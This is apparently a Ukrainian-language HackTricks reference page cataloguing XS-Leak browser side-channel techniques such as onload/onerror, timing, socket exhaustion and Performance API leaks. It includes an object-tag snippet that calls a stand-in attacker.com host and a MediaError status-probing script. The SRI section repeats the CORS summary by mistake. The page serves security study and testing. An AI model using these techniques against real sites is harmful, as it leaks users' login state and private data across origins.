XS-Search/XS-Leaks

Використовуйте ****, щоб легко створювати та автоматизувати робочі процеси, підтримувані найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримка HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.

Основна інформація

XS-Search — це метод, що використовується для витягування інформації з крос-доменів, використовуючи вразливості бічного каналу.

Ключові компоненти, залучені в цю атаку, включають:

• Вразливий веб: Цільовий вебсайт, з якого планується витягнення інформації.

• Веб атакуючого: Зловмисний вебсайт, створений атакуючим, який відвідує жертва, що містить експлойт.

• Метод включення: Техніка, що використовується для включення Вразливого вебу в Веб атакуючого (наприклад, window.open, iframe, fetch, HTML тег з href тощо).

• Техніка витоку: Техніки, що використовуються для визначення відмінностей у стані Вразливого вебу на основі інформації, зібраної через метод включення.

• Стан: Два потенційні стани Вразливого вебу, які атакуючий намагається розрізнити.

• Виявлені відмінності: Спостережувані варіації, на які атакуючий покладається, щоб зробити висновок про стан Вразливого вебу.

Виявлені відмінності

Кілька аспектів можна проаналізувати, щоб відрізнити стани Вразливого вебу:

• Код статусу: Відрізнення між різними кодами статусу HTTP крос-домен, такими як помилки сервера, помилки клієнта або помилки аутентифікації.

• Використання API: Визначення використання веб-API на різних сторінках, що показує, чи використовує крос-домена сторінка конкретний JavaScript веб-API.

• Перенаправлення: Виявлення навігацій на різні сторінки, не лише HTTP перенаправлень, але й тих, що викликані JavaScript або HTML.

• Вміст сторінки: Спостереження за варіаціями в тілі відповіді HTTP або в підресурсах сторінки, таких як кількість вбудованих фреймів або розмірні відмінності в зображеннях.

• HTTP заголовок: Зазначення наявності або, можливо, значення конкретного заголовка відповіді HTTP, включаючи заголовки, такі як X-Frame-Options, Content-Disposition та Cross-Origin-Resource-Policy.

• Час: Звернення уваги на постійні часові відмінності між двома станами.

Методи включення

• HTML елементи: HTML пропонує різні елементи для включення ресурсів з крос-доменів, такі як таблиці стилів, зображення або скрипти, змушуючи браузер запитувати не-HTML ресурс. Збірка потенційних HTML елементів для цієї мети доступна за адресою https://github.com/cure53/HTTPLeaks.

• Фрейми: Елементи, такі як iframe, object та embed, можуть вбудовувати HTML ресурси безпосередньо в сторінку атакуючого. Якщо сторінка не має захисту від фреймів, JavaScript може отримати доступ до об'єкта вікна вбудованого ресурсу через властивість contentWindow.

• Спливаючі вікна: Метод window.open відкриває ресурс у новій вкладці або вікні, надаючи доступ до вікна для JavaScript для взаємодії з методами та властивостями відповідно до SOP. Спливаючі вікна, які часто використовуються в одноразовій аутентифікації, обходять обмеження фреймів і куків цільового ресурсу. Однак сучасні браузери обмежують створення спливаючих вікон до певних дій користувача.

• Запити JavaScript: JavaScript дозволяє прямі запити до цільових ресурсів, використовуючи XMLHttpRequests або Fetch API. Ці методи пропонують точний контроль над запитом, наприклад, можливість слідувати HTTP перенаправленням.

Техніки витоку

• Обробник подій: Класична техніка витоку в XS-Leaks, де обробники подій, такі як onload та onerror, надають інформацію про успішність або невдачу завантаження ресурсу.

• Повідомлення про помилки: Винятки JavaScript або спеціальні сторінки помилок можуть надавати інформацію про витік або безпосередньо з повідомлення про помилку, або шляхом розрізнення між її наявністю та відсутністю.

• Глобальні обмеження: Фізичні обмеження браузера, такі як обсяг пам'яті або інші накладені обмеження браузера, можуть сигналізувати, коли досягається поріг, слугуючи технікою витоку.

• Глобальний стан: Виявлені взаємодії з глобальними станами браузерів (наприклад, інтерфейс історії) можуть бути використані. Наприклад, кількість записів в історії браузера може надати підказки про крос-домени сторінки.

• Performance API: Цей API надає деталі продуктивності поточної сторінки, включаючи мережевий час для документа та завантажених ресурсів, що дозволяє робити висновки про запитувані ресурси.

• Читабельні атрибути: Деякі HTML атрибути є читабельними з крос-доменів і можуть бути використані як техніка витоку. Наприклад, властивість window.frame.length дозволяє JavaScript підраховувати фрейми, включені в веб-сторінку з крос-доменів.

Інструмент XSinator та документ

XSinator — це автоматичний інструмент для перевірки браузерів на наявність кількох відомих XS-Leaks, пояснених у його документі: https://xsinator.com/paper.pdf

Ви можете отримати доступ до інструменту за адресою https://xsinator.com/

Виключені XS-Leaks: Нам довелося виключити XS-Leaks, які покладаються на сервісні працівники, оскільки вони можуть заважати іншим витокам у XSinator. Крім того, ми вирішили виключити XS-Leaks, які покладаються на неправильну конфігурацію та помилки в конкретному веб-додатку. Наприклад, неправильна конфігурація Cross-Origin Resource Sharing (CORS), витік postMessage або міжсайтовий скриптинг. Додатково, ми виключили XS-Leaks на основі часу, оскільки вони часто страждають від повільності, шуму та неточності.

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, підтримувані найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Техніки на основі часу

Деякі з наступних технік будуть використовувати час як частину процесу для виявлення відмінностей у можливих станах веб-сторінок. Існують різні способи вимірювання часу в веб-браузері.

Годинники: API performance.now() дозволяє розробникам отримувати вимірювання часу з високою роздільною здатністю. Існує значна кількість API, які атакуючі можуть зловживати для створення неявних годинників: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS анімації та інші. Для отримання додаткової інформації: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Техніки обробника подій

Onload/Onerror

• Методи включення: Фрейми, HTML елементи

• Виявлена відмінність: Код статусу

• Більше інформації: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/

• Резюме: якщо намагатися завантажити ресурс, події onerror/onload спрацьовують, коли ресурс завантажено успішно/неуспішно, можна з'ясувати код статусу.

• Приклад коду: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)

Cookie Bomb + Onerror XS Leak

Приклад коду намагається завантажити об'єкти скриптів з JS, але інші теги, такі як об'єкти, таблиці стилів, зображення, аудіо, також можуть бути використані. Більше того, також можливо безпосередньо вставити тег і оголосити події onload та onerror всередині тега (замість того, щоб вставляти його з JS).

Існує також версія цієї атаки без скриптів:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

У цьому випадку, якщо example.com/404 не знайдено, буде завантажено attacker.com/?error.

Onload Timing

• Методи включення: HTML елементи

• Виявна різниця: Час (зазвичай через вміст сторінки, код статусу)

• Більше інформації: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events

• Резюме: performance.now() API може бути використано для вимірювання часу, необхідного для виконання запиту. Однак можуть бути використані й інші годинники, такі як PerformanceLongTaskTiming API, який може ідентифікувати завдання, що виконуються більше 50 мс.

• Приклад коду: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events інший приклад у:

performance.now example

Onload Timing + Forced Heavy Task

Ця техніка схожа на попередню, але зловмисник також примусить деяку дію зайняти відповідну кількість часу, коли відповідь позитивна або негативна, і вимірює цей час.

performance.now + Force heavy task

unload/beforeunload Timing

• Методи включення: Фрейми

• Виявна різниця: Час (зазвичай через вміст сторінки, код статусу)

• Більше інформації: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events

• Резюме: Годинник SharedArrayBuffer може бути використано для вимірювання часу, необхідного для виконання запиту. Можуть бути використані й інші годинники.

• Приклад коду: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events

Час, витрачений на отримання ресурсу, можна виміряти, використовуючи події unload та beforeunload. Подія beforeunload спрацьовує, коли браузер збирається перейти на нову сторінку, тоді як подія unload відбувається, коли навігація фактично відбувається. Часова різниця між цими двома подіями може бути обчислена для визначення тривалості, яку браузер витратив на отримання ресурсу.

Sandboxed Frame Timing + onload

• Методи включення: Фрейми

• Виявна різниця: Час (зазвичай через вміст сторінки, код статусу)

• Більше інформації: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks

• Резюме: performance.now() API може бути використано для вимірювання часу, необхідного для виконання запиту. Можуть бути використані й інші годинники.

• Приклад коду: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks

Було помічено, що за відсутності Framing Protections час, необхідний для завантаження сторінки та її підресурсів через мережу, може бути виміряний зловмисником. Це вимірювання зазвичай можливе, оскільки обробник onload iframe спрацьовує лише після завершення завантаження ресурсів і виконання JavaScript. Щоб обійти варіативність, введену виконанням скриптів, зловмисник може використовувати атрибут sandbox у <iframe>. Включення цього атрибута обмежує численні функціональності, зокрема виконання JavaScript, що полегшує вимірювання, яке переважно залежить від продуктивності мережі.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info:

• Summary: Якщо ви можете викликати помилку на сторінці, коли доступ до правильного контенту, і змусити її завантажуватися правильно, коли доступ до будь-якого контенту, тоді ви можете створити цикл для витягування всієї інформації без вимірювання часу.

• Code Example:

Припустимо, що ви можете вставити сторінку, яка має секретний контент всередину Iframe.

Ви можете змусити жертву шукати файл, який містить "flag", використовуючи Iframe (експлуатуючи CSRF, наприклад). Всередині Iframe ви знаєте, що подія onload буде виконана завжди принаймні один раз. Тоді ви можете змінити URL iframe, змінюючи лише вміст hash в URL.

Наприклад:

1. URL1: www.attacker.com/xssearch#try1

2. URL2: www.attacker.com/xssearch#try2

Якщо перший URL був успішно завантажений, тоді, при зміні частини hash URL, подія onload не буде знову викликана. Але якщо на сторінці була якась помилка під час завантаження, тоді подія onload буде викликана знову.

Тоді ви можете відрізнити між правильно завантаженою сторінкою або сторінкою, яка має помилку при доступі.

Javascript Execution

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info:

• Summary: Якщо сторінка повертає чутливий контент, або контент, який може бути контрольований користувачем. Користувач може встановити дійсний JS код у негативному випадку, завантажуючи кожну спробу всередині <script> тегів, так що в негативних випадках код зловмисника буде виконаний, а в позитивних випадках нічого не буде виконано.

• Code Example:

JavaScript Execution XS Leak

CORB - Onerror

• Inclusion Methods: HTML Elements

• Detectable Difference: Status Code & Headers

• More info: https://xsleaks.dev/docs/attacks/browser-features/corb/

• Summary: Cross-Origin Read Blocking (CORB) є заходом безпеки, який запобігає завантаженню певних чутливих крос-доменних ресурсів, щоб захистити від атак, таких як Spectre. Однак зловмисники можуть експлуатувати його захисну поведінку. Коли відповідь, що підлягає CORB, повертає захищений CORB Content-Type з nosniff і статус-кодом 2xx, CORB видаляє тіло та заголовки відповіді. Зловмисники, які спостерігають це, можуть зробити висновок про комбінацію статус-коду (який вказує на успіх або помилку) і Content-Type (який вказує, чи захищений він CORB), що може призвести до потенційного витоку інформації.

• Code Example:

Перевірте посилання на більше інформації про атаку.

onblur

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/

• Summary: Витік чутливих даних з атрибута id або name.

• Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet

Можливо завантажити сторінку всередині iframe і використовувати #id_value, щоб змусити сторінку зосередитися на елементі iframe з вказаним id, тоді, якщо сигнал onblur буде викликаний, елемент ID існує. Ви можете виконати ту ж атаку з portal тегами.

postMessage Broadcasts

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: API Usage

• More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/

• Summary: Збирати чутливу інформацію з postMessage або використовувати наявність postMessages як оракул, щоб дізнатися статус користувача на сторінці

• Code Example: Any code listening for all postMessages.

Додатки часто використовують postMessage broadcasts для спілкування між різними джерелами. Однак цей метод може ненавмисно розкрити чутливу інформацію, якщо параметр targetOrigin не вказаний належним чином, що дозволяє будь-якому вікну отримувати повідомлення. Більше того, сам факт отримання повідомлення може діяти як оракул; наприклад, певні повідомлення можуть надсилатися лише користувачам, які увійшли в систему. Отже, наявність або відсутність цих повідомлень може розкрити інформацію про стан або особу користувача, наприклад, чи аутентифікований він чи ні.

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, що працюють на основі найсучасніших інструментів спільноти. Отримайте доступ сьогодні:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Global Limits Techniques

WebSocket API

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: API Usage

• More info: https://xsinator.com/paper.pdf (5.1)

• Summary: Витрата ліміту з'єднань WebSocket розкриває кількість з'єднань WebSocket крос-доменної сторінки.

• Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)

Можливо визначити, чи і скільки з'єднань WebSocket використовує цільова сторінка. Це дозволяє зловмиснику виявити стани програми та витік інформації, пов'язаної з кількістю з'єднань WebSocket.

Якщо один джерело використовує максимальну кількість об'єктів з'єднання WebSocket, незалежно від їх стану з'єднання, створення нових об'єктів призведе до виключень JavaScript. Щоб виконати цю атаку, веб-сайт зловмисника відкриває цільовий веб-сайт у спливаючому вікні або iframe, а потім, після завантаження цільового веб-сайту, намагається створити максимальну кількість з'єднань WebSocket. Кількість викинутих виключень є кількістю з'єднань WebSocket, які використовує вікно цільового веб-сайту.

Payment API

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: API Usage

• More info: https://xsinator.com/paper.pdf (5.1)

• Summary: Виявлення запиту на оплату, оскільки лише один може бути активним одночасно.

• Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak

Цей XS-Leak дозволяє зловмиснику виявити, коли крос-домена сторінка ініціює запит на оплату.

Оскільки лише один запит на оплату може бути активним одночасно, якщо цільовий веб-сайт використовує API запиту на оплату, будь-які подальші спроби використати цей API зазнають невдачі** і викличуть виключення JavaScript. Зловмисник може експлуатувати це, періодично намагаючись показати інтерфейс API оплати. Якщо одна спроба викликає виключення, цільовий веб-сайт в даний момент його використовує. Зловмисник може приховати ці періодичні спроби, негайно закриваючи інтерфейс після створення.

Timing the Event Loop

• Inclusion Methods:

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop

• Summary: Вимірювання часу виконання веб-операції, зловживаючи однопотоковим циклом подій JS.

• Code Example:

Event Loop Blocking + Lazy images

JavaScript працює на однопотоковій моделі конкуренції циклу подій, що означає, що він може виконувати лише одне завдання за раз. Цю характеристику можна експлуатувати для оцінки того, скільки часу потрібно коду з іншого джерела для виконання. Зловмисник може виміряти час виконання свого коду в циклі подій, постійно відправляючи події з фіксованими властивостями. Ці події будуть оброблені, коли пул подій буде порожнім. Якщо інші джерела також відправляють події в той же пул, зловмисник може вивести час, який потрібен для виконання цих зовнішніх подій, спостерігаючи затримки в виконанні своїх власних завдань. Цей метод моніторингу циклу подій на затримки може розкрити час виконання коду з різних джерел, потенційно розкриваючи чутливу інформацію.

У вимірюванні часу виконання можливо усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.

Busy Event Loop

• Inclusion Methods:

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop

• Summary: Один із методів вимірювання часу виконання веб-операції полягає в навмисному блокуванні циклу подій потоку, а потім вимірюванні того, скільки часу потрібно, щоб цикл подій знову став доступним. Вставивши блокуючу операцію (таку як тривале обчислення або синхронний виклик API) в цикл подій і контролюючи час, який потрібен для початку виконання наступного коду, можна вивести тривалість завдань, які виконувалися в циклі подій під час блокуючого періоду. Ця техніка використовує однопоточну природу циклу подій JavaScript, де завдання виконуються послідовно, і може надати уявлення про продуктивність або поведінку інших операцій, які ділять той же потік.

• Code Example:

Значною перевагою техніки вимірювання часу виконання шляхом блокування циклу подій є її потенціал обходити Site Isolation. Site Isolation є функцією безпеки, яка розділяє різні веб-сайти на окремі процеси, щоб запобігти зловмисним сайтам від прямого доступу до чутливих даних з інших сайтів. Однак, впливаючи на час виконання іншого джерела через спільний цикл подій, зловмисник може непрямо витягти інформацію про діяльність цього джерела. Цей метод не покладається на прямий доступ до даних іншого джерела, а скоріше спостерігає за впливом діяльності цього джерела на спільний цикл подій, таким чином ухиляючись від захисних бар'єрів, встановлених Site Isolation.

У вимірюванні часу виконання можливо усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.

Connection Pool

• Inclusion Methods: JavaScript Requests

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

• Summary: Зловмисник може заблокувати всі сокети, крім 1, завантажити цільовий веб-сайт і одночасно завантажити іншу сторінку, час до початку завантаження останньої сторінки є часом, який цільова сторінка витратила на завантаження.

• Code Example:

Connection Pool Examples

Браузери використовують сокети для зв'язку з сервером, але через обмежені ресурси операційної системи та апаратного забезпечення браузери змушені накладати обмеження на кількість одночасних сокетів. Зловмисники можуть експлуатувати це обмеження через наступні кроки:

1. Визначити ліміт сокетів браузера, наприклад, 256 глобальних сокетів.

2. Зайняти 255 сокетів на тривалий час, ініціюючи 255 запитів до різних хостів, призначених для підтримки з'єднань відкритими без завершення.

3. Використати 256-й сокет для надсилання запиту до цільової сторінки.

4. Спробувати 257-й запит до іншого хоста. Оскільки всі сокети зайняті (згідно з кроками 2 і 3), цей запит буде поставлений в чергу, поки не з'явиться доступний сокет. Затримка перед тим, як цей запит продовжиться, надає зловмиснику інформацію про час, пов'язану з мережею, що стосується 256-го сокета (сокета цільової сторінки). Це припущення можливе, оскільки 255 сокетів з кроку 2 все ще зайняті, що означає, що будь-який новий доступний сокет повинен бути звільнений з кроку 3. Час, необхідний для того, щоб 256-й сокет став доступним, таким чином безпосередньо пов'язаний з часом, необхідним для завершення запиту до цільової сторінки.

Для отримання додаткової інформації: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

• Inclusion Methods: JavaScript Requests

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info:

• Summary: Це як попередня техніка, але замість використання всіх сокетів, Google Chrome накладає обмеження на 6 одночасних запитів до одного джерела. Якщо ми заблокуємо 5 і потім запустимо 6-й запит, ми можемо виміряти його, і якщо нам вдалося змусити сторінку жертви надіслати більше запитів до одного й того ж кінцевого пункту, щоб виявити статус сторінки, 6-й запит займе більше часу, і ми можемо це виявити.

Performance API Techniques

Performance API пропонує інформацію про показники продуктивності веб-додатків, додатково збагачену Resource Timing API. Resource Timing API дозволяє моніторити детальні часи запитів в мережі, такі як тривалість запитів. Особливо, коли сервери включають заголовок Timing-Allow-Origin: * у своїх відповідях, стає доступною додаткова інформація, така як розмір передачі та час пошуку домену.

Ці дані можна отримати за допомогою методів, таких як performance.getEntries або performance.getEntriesByName, що надає всебічний огляд інформації, пов'язаної з продуктивністю. Крім того, API полегшує вимірювання часу виконання, обчислюючи різницю між часовими мітками, отриманими з performance.now(). Однак варто зазначити, що для певних операцій у браузерах, таких як Chrome, точність performance.now() може бути обмежена до мілісекунд, що може вплинути на детальність вимірювань часу.

Окрім вимірювань часу, Performance API можна використовувати для отримання інформації, пов'язаної з безпекою. Наприклад, наявність або відсутність сторінок в об'єкті performance у Chrome може вказувати на застосування X-Frame-Options. Зокрема, якщо сторінка заблокована від відображення в фреймі через X-Frame-Options, вона не буде зафіксована в об'єкті performance, що надає тонкий натяк на політику фреймування сторінки.

Error Leak

• Inclusion Methods: Frames, HTML Elements

• Detectable Difference: Status Code

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: Запит, що призводить до помилок, не створить запису часу ресурсу.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak

Можливо відрізнити між статус-кодами HTTP, оскільки запити, які призводять до помилки, не створюють запису продуктивності.

Style Reload Error

• Inclusion Methods: HTML Elements

• Detectable Difference: Status Code

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: Через помилку браузера запити, що призводять до помилок, завантажуються двічі.

• Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak

У попередній техніці також було виявлено два випадки, коли помилки браузера в GC призводять до завантаження ресурсів двічі, коли вони не можуть завантажитися. Це призведе до кількох записів у Performance API і, отже, може бути виявлено.

Request Merging Error

• Inclusion Methods: HTML Elements

• Detectable Difference: Status Code

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: Запити, що призводять до помилки, не можуть бути об'єднані.

• Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Техніка була знайдена в таблиці в згаданій статті, але опис техніки в ній не був знайдений. Однак ви можете знайти вихідний код, перевіряючи його на https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: Порожні відповіді не створюють записи часу ресурсу.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak

Зловмисник може виявити, чи запит призвів до порожнього тіла HTTP-відповіді, оскільки порожні сторінки не створюють запису продуктивності в деяких браузерах.

XSS-Auditor Leak

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: Використовуючи XSS Auditor в Security Assertions, зловмисники можуть виявити конкретні елементи веб-сторінки, спостерігаючи за змінами у відповідях, коли створені корисні навантаження активують механізм фільтрації аудитора.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання атакам Cross-Site Scripting (XSS), може парадоксально бути використаний для витоку чутливої інформації. Хоча ця вбудована функція була видалена з Google Chrome (GC), вона все ще присутня в SA. У 2013 році Браун і Хайдеріх продемонстрували, що XSS Auditor може ненавмисно блокувати законні скрипти, що призводить до хибних позитивів. Спираючись на це, дослідники розробили техніки для витягування інформації та виявлення конкретного контенту на крос-доменных сторінках, концепція, відома як XS-Leaks, спочатку повідомлена Терадою та розроблена Хейзом у блозі. Хоча ці техніки були специфічні для XSS Auditor в GC, було виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записи в Performance API, що розкриває метод, за допомогою якого чутлива інформація все ще може бути витікана.

X-Frame Leak

• Inclusion Methods: Frames

• Detectable Difference: Header

• More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options

• Summary: Ресурс з заголовком X-Frame-Options не створює запису часу ресурсу.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak

Якщо сторінка не дозволена бути відображеною в iframe, вона не створює запису продуктивності. Як результат, зловмисник може виявити заголовок відповіді X-Frame-Options. Те ж саме відбувається, якщо ви використовуєте embed тег.

Download Detection

• Inclusion Methods: Frames

• Detectable Difference: Header

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: Завантаження не створюють записи часу ресурсу в Performance API.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection

Подібно до описаного XS-Leak, ресурс, що завантажується через заголовок ContentDisposition, також не створює запису продуктивності. Ця техніка працює у всіх основних браузерах.

Redirect Start Leak

• Inclusion Methods: Frames

• Detectable Difference: Redirect

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: Запис часу ресурсу витікає час початку перенаправлення.

• Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak

Ми знайшли один випадок XS-Leak, який зловживає поведінкою деяких браузерів, які реєструють занадто багато інформації для крос-доменных запитів. Стандарт визначає підмножину атрибутів, які повинні бути встановлені на нуль для крос-доменных ресурсів. Однак у SA можливо виявити, чи користувач перенаправлений цільовою сторінкою, запитуючи Performance API та перевіряючи дані часу redirectStart.

Duration Redirect Leak

• Inclusion Methods: Fetch API

• Detectable Difference: Redirect

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: Тривалість записів часу є негативною, коли відбувається перенаправлення.

• Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak

У GC тривалість для запитів, що призводять до перенаправлення, є негативною і, отже, може бути відрізнена від запитів, які не призводять до перенаправлення.

CORP Leak

• Inclusion Methods: Frames

• Detectable Difference: Header

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: Ресурс, захищений CORP, не створює записів часу ресурсу.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak

В деяких випадках запис nextHopProtocol може бути використаний як техніка витоку. У GC, коли заголовок CORP встановлений, nextHopProtocol буде порожнім. Зверніть увагу, що SA взагалі не створить запису продуктивності для ресурсів, активованих CORP.

Service Worker

• Inclusion Methods: Frames

• Detectable Difference: API Usage

• More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/

• Summary: Виявлення, чи зареєстровано сервісний робітник для конкретного джерела.

• Code Example:

Сервісні робітники є контекстами скриптів, що реагують на події, які працюють на джерелі. Вони працюють у фоновому режимі веб-сторінки та можуть перехоплювати, змінювати та кешувати ресурси, щоб створити офлайн веб-додаток. Якщо ресурс, кешований сервісним робітником, доступний через iframe, ресурс буде завантажено з кешу сервісного робітника. Щоб виявити, чи ресурс був завантажений з кешу сервісного робітника, можна використовувати Performance API. Це також можна зробити за допомогою атаки на час (перевірте статтю для отримання додаткової інформації).

Cache

• Inclusion Methods: Fetch API

• Detectable Difference: Timing

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

• Summary: Можливо перевірити, чи ресурс зберігається в кеші.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)

Використовуючи Performance API, можливо перевірити, чи ресурс кешується.

Network Duration

• Inclusion Methods: Fetch API

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration

• Summary: Можливо отримати тривалість мережі запиту з API performance.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration

Error Messages Technique

Media Error

• Inclusion Methods: HTML Elements (Video, Audio)

• Detectable Difference: Status Code

• More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265

• Summary: У Firefox можливо точно витікати статус-код крос-доменного запиту.

• Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

Властивість повідомлення інтерфейсу `MediaError` унікально ідентифікує ресурси, які завантажуються успішно, з допомогою відмінного рядка. Зловмисник може експлуатувати цю функцію, спостерігаючи за вмістом повідомлення, тим самим виводячи статус відповіді крос-доменного ресурсу.

### CORS Помилка

* **Методи включення**: Fetch API
* **Виявна різниця**: Заголовок
* **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Резюме:** У Безпекових Заявах (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів.
* **Приклад коду**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Ця техніка дозволяє зловмиснику **витягувати місце призначення перенаправлення крос-доменного сайту**, експлуатуючи те, як браузери на базі Webkit обробляють запити CORS. Конкретно, коли **CORS-увімкнений запит** надсилається на цільовий сайт, який видає перенаправлення на основі стану користувача, а браузер потім відмовляє у запиті, **повна URL-адреса цілі перенаправлення** розкривається в повідомленні про помилку. Ця вразливість не тільки розкриває факт перенаправлення, але також відкриває кінцеву точку перенаправлення та будь-які **чутливі параметри запиту**, які вона може містити.

### SRI Помилка

* **Методи включення**: Fetch API
* **Виявна різниця**: Заголовок
* **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Резюме:** У Безпекових Заявах (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів.
* **Приклад коду**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

